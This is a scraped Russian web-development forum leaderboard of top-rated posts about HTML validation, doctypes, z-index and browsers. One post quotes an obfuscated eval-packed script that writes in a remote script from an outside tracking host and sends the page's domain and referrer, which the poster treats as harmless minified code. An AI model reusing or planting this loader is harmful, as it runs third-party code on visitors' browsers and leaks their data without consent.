Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 06/05/2012 in all areas

  1. сами придумали, сами обиделись про доктайп никто, кроме вас, и слова не сказал я только опроверг ваше выражение "половину "ошибок" как рукой снимет." в данном случае
    1 point
  2. Просто выбирайте схему, где это — не ошибка, а штатная ситуация (не считая того, что в новых браузерах любые доктайпы, кроме <!DOCTYPE html> — самообман). А на ошибки валидации под <!DOCTYPE html> уже можете и не смотреть, они некритичны (хотя "px" из HTML-атрибутов я бы всё равно убрал — они при любом доктайпе там не нужны) Мнения по поводу "ошибок" в JS и не расходились, их я тоже ошибкой не считаю . Мнения, кажется, разошлись по поводу оправданности доктайпа XHTML Transitional (чем плох Transitional — я выше пояснил).
    1 point
  3. Валидатор совершенно справедливо (другой вопрос — оправданно ли в данном случае) ругается на неведомую хрень в XML-синтаксисе. Которая совершенно справедливо не сможет работать (больше того — вообще парситься), если страницу всё-таки захотят отдать именно как XHTML (ну мало ли чего в жизни не случается) При валидации как HTML5 ругается на незнакомый метатег, на отсутствие src у картинки и на "px" в ее width/height вместо числа (т.к. это разметка, а не CSS). Работоспособности страницы ничего из перечисленного не мешает.
    1 point
  4. Вы хотя бы смотрели код страницы?Поменяв <!DOCTYPE html> вылезет в два раза больше ошибок, чем есть сейчас! <script type="text/javascript"> eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{})); </script> валидатор ругается на HTML код в минифицированном javascript. Зачем на такие ошибки обращать внимание?
    1 point
  5. Ну простота весьма относительная . А учитывая стремительно падающую долю и "немодный" статус непонимающих браузеров, вполне можно просто подпереть их костылями типа такого...
    1 point
  6. Валидатор проверяет соответствие разметки выбранной схеме. Не больше и не меньше. Для того, чтобы валидная верстка стала правильной, нужно изначально выбрать ту схему, которая лучше прочих решает поставленную задачу (а не ту, что лишь зря ограничивает); понимать, что в разметке для чего, и использовать вещи по назначению, а не перебирать элементы наугад, "пока валидатор не устанет ругаться". Без соблюдения этих правил от валидности мало проку, при их соблюдении она, как правило, получается автоматом. С учетом нынешней реальности нет смысла валидировать что-то другое, кроме HTML5.
    1 point
  7. Чего то придерживаться стоит, как написал NeoXidizer. Но и не нужно его воспринимать как идола и преклоняться. Если ошибки не несут за собой каких то последствий или не столь важные, то можно на них забить.
    1 point
  8. Вот тут есть урок на тему.
    1 point
  9. У валидатора нет мнения. Он выдает список допущенных ошибок, а так же рекомендации, которых, раз их создали, стоит придерживаться
    1 point
  10. z-index отсчитывается относительно родителя. <div style="position: absolute; z-index: 1;"> <span style="position: absolute; z-index: 999;">test 1</span> </div> <div style="position: absolute; z-index: 2;"> <span style="position: absolute; z-index: 1;">test 2</span> <!-- этот блок будет выше, потому что 2 > 1 --> </div>
    1 point
  11. А нельзя просто обрезать картинку с листиком по самый кончик? Или просто этому блоку указать высоту к примеру 143px..
    1 point
  12. Кстати, Opera в этом плане действительно молодец, мало того она способна даже на такое Было бы здорово, если бы и другие были способны на такие же фичибаги. А по сабжу, к сожалению, придумался только лишь такой костыль
    1 point
  13. Стоит. Это результат нарушения правила №1 из моего коммента выше. Зачем "геройски сражаться" с ограничениями XML-синтаксиса, если не собираетесь использовать его преимущества (а использовать не получится, не игнорируя IE8-)? Поменяйте доктайп на человеческий (<!DOCTYPE html>) и половину "ошибок" как рукой снимет. P.S. XHTML Transitional — самая дурацкая схема из когда-либо созданных. Разрешен весь бардак в структуре (все deprecated-теги и атрибуты HTML4) и на этот бардак наложена куча XML-ограничений в синтаксисе, никогда не используемых по назначению. И смысл мучиться? А еще с ним inline-block в Опере не работает как надо
    0 points
  14. это "ошибки" в javascript, на них в валидаторе можно не обращать внимание
    0 points
  15. 1.Макссон сейчас поддерживает хтмл5 круче, чем любой другой браузер, однако скоро его выбьют более новые. Поэтому он пока имеет свои+. Сайт-html5test.com осмотрите его. 2. Опера бесплатная, удобная при настройке(у меня вкладки сбоку, адрес снизу даже был, все настраивается), довольно функциональная, есть и на мобилы и на смартфоны. Всего этого вполне хватает обычным юзерам, так что тут проблема в людях, которые не могут ее настроить. А потом, в снг она очень популярна. Один минус-скорость не самая большая, но это не страшно. 3. Питон... Мне бы ecmascript и икс-ем-ель выучить, а там посмотрим. Питон кульный и красивый язык, на нем моя любимая прога написана-sublime text 2! P.s. А кто за ие голосовал? Если это не шутка, то сочувствую.
    -1 points
  16. это +, ибо некрасивый код фиг напишешь. Это 'флейм',бро!© а какой язык для веб-программирования и приложений посоветуете. Пыху не предлагать. Ява, питон и т.д. -что для чего используется? Если есть ссыль на статю-расцелую!
    -1 points
  17. но такой код легче читать и писать. Пхп не настолько масштабный, и на нем приложения как на яве, например, сложно написать.
    -1 points
This leaderboard is set to Kiev/GMT+02:00
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy